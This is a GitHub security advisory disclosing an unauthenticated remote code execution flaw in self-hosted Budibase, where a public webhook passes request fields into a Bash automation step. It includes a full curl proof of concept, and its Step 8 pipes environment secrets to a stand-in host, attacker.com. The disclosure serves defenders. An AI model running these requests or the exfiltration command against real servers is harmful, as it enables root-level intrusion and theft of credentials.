Skip to content

Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

Critical
mjashanks published GHSA-fcm4-4pj2-m5hf Apr 2, 2026

Package

npm budibase (npm)

Affected versions

<=3.30.6

Patched versions

3.33.4

Description

Summary

An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.

Details

Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:

// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The webhook trigger endpoint is registered on publicRoutes with no authentication
middleware
. Any unauthenticated HTTP client can POST to this endpoint.

Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:

const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()

The Bash automation step uses Handlebars template processing (processStringSync) on
inputs.code, substituting values from the webhook request body into the shell command
string before passing it to execSync().

Attack chain:

HTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH
        ↓
controller.trigger()  [webhook.ts:90]
        ↓
triggers.externalTrigger()
        ↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run()  [actions.ts:131]
        ↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
        ↓
execSync("ATTACKER_PAYLOAD")                          ← RCE AS ROOT

Precondition: An admin must have created and published an automation containing:

  1. A Webhook trigger
  2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})

This is a legitimate and documented workflow. Such configurations may exist in
production deployments for automation of server-side tasks.

Note on EXECUTE_BASH availability: The bash step is only registered when
SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:

// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
  ACTION_IMPLS["EXECUTE_BASH"] = bash.run
  BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}

Webhook context flattening (why {{ trigger.cmd }} works):

In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations
the params.fields are spread directly into the trigger context:

// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
  params = {
    ...params,
    ...params.fields,  // { cmd: "PAYLOAD" } becomes top-level
    fields: {},
  }
}

This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }}
in the bash step template.

PoC

Environment

Target:  http://TARGET:10000   (any self-hosted Budibase instance)
Tester:  Any machine with curl
Auth:    Admin credentials required for SETUP PHASE only
         Zero auth required for EXPLOITATION PHASE

PHASE 1 — Admin Setup (performed once by legitimate admin)

Note: This phase represents normal Budibase usage. Any admin who creates
a webhook automation with a bash step using template variables creates this exposure.

Step 1 — Authenticate as admin:

curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "[email protected]",
    "password": "adminpassword"
  }'

# Expected response:
# {"message":"Login successful"}

Step 2 — Create an application:

curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{
    "name": "MyApp",
    "useTemplate": false,
    "url": "/myapp"
  }'

# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"

APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"

Step 3 — Create automation with Webhook trigger + Bash step:

curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{
    "name": "WebhookBash",
    "type": "automation",
    "definition": {
      "trigger": {
        "id": "trigger_1",
        "name": "Webhook",
        "event": "app:webhook:trigger",
        "stepId": "WEBHOOK",
        "type": "TRIGGER",
        "icon": "paper-plane-right",
        "description": "Trigger an automation when a HTTP POST webhook is hit",
        "tagline": "Webhook endpoint is hit",
        "inputs": {},
        "schema": {
          "inputs": { "properties": {} },
          "outputs": {
            "properties": { "body": { "type": "object" } }
          }
        }
      },
      "steps": [
        {
          "id": "bash_step_1",
          "name": "Bash Scripting",
          "stepId": "EXECUTE_BASH",
          "type": "ACTION",
          "icon": "git-branch",
          "description": "Run a bash script",
          "tagline": "Execute a bash command",
          "inputs": {
            "code": "{{ trigger.cmd }}"
          },
          "schema": {
            "inputs": {
              "properties": { "code": { "type": "string" } }
            },
            "outputs": {
              "properties": {
                "stdout": { "type": "string" },
                "success": { "type": "boolean" }
              }
            }
          }
        }
      ]
    }
  }'

# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }

AUTO_ID="au_b713759f83f64efda067e17b65545fce"

Step 4 — Enable the automation (new automations start as disabled):

# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
  -H "x-budibase-app-id: $APP_ID")

# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "$UPDATED"

Step 5 — Create webhook linked to the automation:

curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "{
    \"name\": \"MyWebhook\",
    \"action\": {
      \"type\": \"automation\",
      \"target\": \"$AUTO_ID\"
    }
  }"

# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }

WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"

Step 6 — Publish the app to production:

curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
  -H "x-budibase-app-id: $APP_ID"

# Expected: {"status":"SUCCESS","appUrl":"/myapp"}

# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"

PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production app_id and webhook_id.
These can be obtained via:

  • Enumeration of the Budibase web UI (app URLs are semi-public)
  • Leaked configuration files or environment variables
  • Insider knowledge or social engineering

Step 7 — Basic RCE — whoami/id:

PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.

Step 8 — Exfiltrate all secrets:

curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

Confirmed secrets leaked (no auth):

JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase

Impact

  • Who is affected: All self-hosted Budibase deployments (SELF_HOSTED=1) where
    any admin has created an automation with a Bash step that uses webhook trigger field
    templates. This is a standard, documented workflow.

  • What can an attacker do:

    • Execute arbitrary OS commands as root inside the application container
    • Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
    • Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
    • Establish reverse shells and persistent access
    • Read/write/delete all application data via CouchDB access
    • Forge JWT tokens using the leaked JWT_SECRET to impersonate any user
    • Potentially escape the container if --privileged or volume mounts are used
  • Authentication required: None — completely unauthenticated

  • User interaction required: None

  • Network access required: Only access to port 10000 (the Budibase proxy port)

Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-35216

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits